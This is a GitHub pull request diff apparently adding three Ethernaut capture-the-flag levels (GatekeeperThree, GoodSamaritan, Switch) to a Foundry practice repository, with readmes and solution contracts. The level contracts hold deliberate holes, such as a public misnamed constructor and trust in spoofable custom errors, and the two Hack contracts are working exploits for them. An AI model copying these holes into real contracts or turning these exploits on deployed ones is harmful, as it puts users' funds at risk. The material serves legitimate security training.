Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added img/GatekeeperThree.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/GoodSamaritan.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Switch.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
77 changes: 77 additions & 0 deletions src/GatekeeperThree/GatekeeperThree.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor (address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive () external payable {}
}
19 changes: 19 additions & 0 deletions src/GatekeeperThree/GatekeeperThreeFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

import '../BaseLevel.sol';
import './GatekeeperThree.sol';

contract GatekeeperThreeFactory is Level {

function createInstance(address _player) override public payable returns (address) {
GatekeeperThree gatekeeper_instance = new GatekeeperThree();
return address(gatekeeper_instance);
}

function validateInstance(address payable _instance, address) override public returns (bool) {
return GatekeeperThree(_instance).entrant() == tx.origin;
}

}
40 changes: 40 additions & 0 deletions src/GatekeeperThree/GatekeeperThreeHack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;
import "./GatekeeperThree.sol";

contract GatekeeperThreeHack {

GatekeeperThree public gatekeeperThree;

error PaymentRefused();

constructor(address _gatekeeperThree) {
gatekeeperThree = GatekeeperThree(payable(_gatekeeperThree));
}

function enter(uint256 password) public {
passGate1();
passGate2(password);
passGate3();
gatekeeperThree.enter();
}

function passGate1() internal {
gatekeeperThree.construct0r();
}

function passGate2(uint256 password) internal {
gatekeeperThree.getAllowance(password);
}

function passGate3() internal {
payable(address(gatekeeperThree)).send(0.0011 ether);
}

receive() external payable {
if (msg.sender == address(gatekeeperThree)) {
revert PaymentRefused();
}
}
}
19 changes: 19 additions & 0 deletions src/GatekeeperThree/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# 28. GatekeeperThree

**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made.

**Original Level**

https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882

## Walkthrough

https://medium.com/@0xkmg/ethernaut-28-gatekeeper-three-walkthrough-for-solidity-beginners-1fd0a84f0967

## Foundry

```
forge test --match-contract GatekeeperThreeTest -vvvv
```

![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GatekeeperThree.png?raw=true)
102 changes: 102 additions & 0 deletions src/GoodSamaritan/GoodSamaritan.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "openzeppelin-contracts/contracts/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}
22 changes: 22 additions & 0 deletions src/GoodSamaritan/GoodSamaritanFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

import '../BaseLevel.sol';
import './GoodSamaritan.sol';
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract GoodSamaritanFactory is Level {

function createInstance(address _player) override public payable returns (address) {
GoodSamaritan samaritan_instance = new GoodSamaritan();
return address(samaritan_instance);
}

function validateInstance(address payable _instance, address) override public returns (bool) {
Coin coin = GoodSamaritan(_instance).coin();
address wallet = address(GoodSamaritan(_instance).wallet());
return coin.balances(wallet) == 0;
}

}
24 changes: 24 additions & 0 deletions src/GoodSamaritan/GoodSamaritanHack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;
import "./GoodSamaritan.sol";

contract GoodSamaritanHack{

address public goodSamaritan;

error NotEnoughBalance();
constructor(address _goodSamaritan) {
goodSamaritan = _goodSamaritan;
}

function attack() public {
GoodSamaritan(goodSamaritan).requestDonation();
}

function notify(uint256 amount) external {
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}
19 changes: 19 additions & 0 deletions src/GoodSamaritan/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# 27. GoodSamaritan

**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made.

**Original Level**

https://ethernaut.openzeppelin.com/level/0x36E92B2751F260D6a4749d7CA58247E7f8198284

## Walkthrough

https://medium.com/@0xkmg/ethernaut-27-good-samaritan-walkthrough-5555f27393f8

## Foundry

```
forge test --match-contract GoodSamaritanTest -vvvv
```

![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GoodSamaritan.png?raw=true)
19 changes: 19 additions & 0 deletions src/Switch/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# 29. Switch

**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made.

**Original Level**

https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53

## Walkthrough

https://blog.softbinator.com/solving-ethernaut-level-29-switch/

## Foundry

```
forge test --match-contract SwitchTest -vvvv
```

![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Switch.png?raw=true)
41 changes: 41 additions & 0 deletions src/Switch/Switch.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}

function turnSwitchOn() public onlyThis {
switchOn = true;
}

function turnSwitchOff() public onlyThis {
switchOn = false;
}

}
Loading